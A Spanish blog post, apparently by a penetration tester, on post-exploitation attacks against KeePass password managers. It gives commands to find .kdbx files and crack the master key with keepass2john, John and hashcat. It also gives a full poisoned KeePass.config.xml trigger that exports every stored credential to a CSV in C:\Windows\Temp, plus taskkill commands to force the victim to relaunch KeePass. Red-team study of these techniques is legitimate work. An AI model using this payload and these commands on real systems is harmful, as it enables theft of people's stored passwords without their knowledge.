KeePass es uno de los gestores de contraseña más populares y extendidos en entornos Windows principalmente, aunque también se cuenta con versiones y adaptaciones (oficiales y comunitarias) para otras plataformas como Linux, MacOS, Android, iPhone, entre otros. A día de hoy su utilización no se ve limitada a nivel personal (individual), sino que es muy habitual encontrar este producto en entidades y organizaciones de todo tamaño. Sin duda al tratarse de un producto «gratuito» y open source, lo hace bastante cercano para los usuarios y administradores de sistemas que queriendo poner una capa más de seguridad a sus valiosas credenciales lo adoptan y depositan en este producto su confianza para resguardar aquellos «secretos intransferibles».
Ahora bien y partiendo de la base que ningún producto es completamente seguro y que cualquier mecanismo de protección por si solo no nos garantiza que no seamos «victimas de los malos», es que el día de hoy les vengo a hablar de algunas técnicas que me ha tocado ejecutar recientemente tanto mis actividades profesionales, como en mis actividades de «ocio» resolviendo cajas de las plataformas que habitualmente suelo trastear.

Bien, antes de meternos en materia, debo de recomendaros activamente los siguientes Post de los archiconocidos researchers Lee Christensen y Will Schroeder, quienes con sus trabajos, herramientas y contribuciones, nos hacen la vida más sencilla a los que venimos detrás:

  • http://www.harmj0y.net/blog/redteaming/a-case-study-in-attacking-keepass/
  • http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/

Actualmente estas entradas parecen no estar activas, pero no es inconveniente suficiente para que podamos llegar a la información de la mano de archive.org. 😉

Descripción de un posible escenario

Siendo que lo que se viene a reseñar en esta entrada son técnicas que se ejecutarán una vez consigamos acceso a uno o más hosts objetivos, con fines documentales vamos a tener que asumir una serie de condiciones favorables e idóneas. A continuación listo algunas:

  • Hemos conseguido acceso privilegiado al objetivo. En este laboratorio usaremos un usuario local con privilegios de administración.
  • La solución de seguridad con la que cuenta el objetivo es Windows Defender.
  • La versión implementada de KeePass es la 2.51.1.
  • La conexión remota al host objetivo se realiza mediante WinRM. (A través de la herramienta Evil-WinRM)

Método 1 – Mediante ataque de diccionario o fuerza bruta

Una vez tengamos localizado en el host de destino el o los ficheros de base de datos de KeePass, más conocido por su extensión .kdbx, podríamos extraernos una copia de dicho fichero a nuestro host local y procesarlo para generarnos los hashes necesarios antes de la fuerza bruta (offline).

ls c:\ *kdbx -Recurse

Mediante la utilidad de John, llamada keepass2john, generamos una salida con el hash que pretendemos romper.

keepass2john Database.kdbx > Hash_KeePass.txt

john --wordlist=/usr/share/wordlists/rockyou.txt Hash_KeePass.txt

Alternativamente también podremos usar Hashcat para el proceso de cracking, incluso ganaremos en velocidad.
Para ello emplearemos el resultado obtenido con la utilidad keepass2john, con la salvedad que tendremos que omitir el nombre de la base de datos al inicio del hash:

hashcat -m 13400 Hash_KeePass2.txt /usr/share/wordlists/rockyou.txt

Efectivamente mediante el módulo 13400 conseguiremos el mismo resultado.

Ahora bien, este método sobre el papel apenas presenta complejidad, sin embargo estaremos sujetos a la fortaleza de la clave maestra (Master Key) y dependeremos de nuestro diccionario de palabras en caso de que apliquemos un ataque por diccionario o el nivel de procesamiento de nuestros recursos en caso de que nos decantemos por la fuerza bruta pura. En la práctica en un escenario real, es menos probable que nos decantemos por esta vía. Por tanto, pasemos a ver el siguiente método.

Método 2 – Envenenamiento de fichero de configuración (Exfiltración)

En el anterior método, nuestro objetivo era hacernos con la clave maestra (Master Key), para este punto obviaremos ese dato y nos centraremos en conseguir las tablas (con credenciales) que almacena la base de datos del fichero de KeePass.
Para ello y tomando en cuenta el siguiente panorama, en donde la potencial víctima hace uso habitual de su KeePass, almacenado en su directorio de trabajo:

Accede a sus credenciales guardadas mediante una clave maestra (Master Key) medianamente «robusta» (la misma no podría ser obtenida mediante el ataque de diccionario desarrollado en el método anterior):

A continuación un vistazo de ejemplo del contenido interno de la base de datos (vista de la tabla):

Bien, con el acceso remoto a la máquina de la víctima es hora de ubicar un fichero de configuración muy relevante. Estoy hablando del fichero KeePass.config.xml que se trata de un XML de configuración de la instancia de KeePass que se encuentra implementada en el host objetivo, normalmente ubicado en: %APPDATA%\KeePass\:

Lo que haremos en este método será envenenar o troyanizar este fichero, de modo que al ser llamado por la instancia del KeePass cuando el usuario inicie su uso, por ejemplo typeando (escribiendo) su clave maestra (Master Key), se dispare el volcado de todas las credenciales que se almacenan en el interior de la base de datos de KeePass.
Listo, pues descarguemos este fichero de configuración para modificarlo:

El aspecto del fichero XML de configuración es de este tipo:

Tendremos que localizar la cadena TriggerSystem para insertar la siguiente carga útil:

<TriggerSystem>
    <Triggers>
        <Trigger>
            <Guid>/N3TZZT7nUyA9HdvwKgcig==</Guid>
            <Name>dumpty dump dump</Name>
            <Events>
                <Event>
                    <TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid>
                    <Parameters>
                        <Parameter>0</Parameter>
                        <Parameter />
                    </Parameters>
                </Event>
            </Events>
            <Conditions />
            <Actions>
                <Action>
                    <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
                    <Parameters>
                        <Parameter>C:\Windows\Temp\{DB_BASENAME}_dump.txt</Parameter>
                        <Parameter>KeePass CSV (1.x)</Parameter>
                        <Parameter />
                        <Parameter />
                    </Parameters>
                </Action>
            </Actions>
        </Trigger>
    </Triggers>
</TriggerSystem>

Y con esto podremos subir nuevamente nuestro fichero a la ubicación necesaria:

Bien. Antes de continuar con el proceso, se debe tomar en cuenta que si el usuario tiene levantado el software (KeePass), es probable que los cambios sobre el XML de configuración se restablezcan y vuelva al estado original.
Para solventar esta situación podríamos identificar el proceso del KeePass y matarlo, de esta forma también conseguiremos «forzar» al usuario para que inicie una vez más la instancia de KeePass y lo que es mas importante para nuestro propósito, disparar el evento que desencadene el dumpleo (volcado) de las credenciales.

tasklist | findstr KeePass.exe
taskkill /pid 2836 /F

Listo, si todo ha marchado como se espera, obtendremos en un fichero de texto, el volcado de las credenciales de la base de datos de KeePass de la víctima:

En una próxima entrada estaré ampliando esta sección de técnicas para Post-Explotación, probablemente también amplié este articulo con alguna otra Prueba de Concepto (PoC), mantente atento y a entrenar.

Referencias: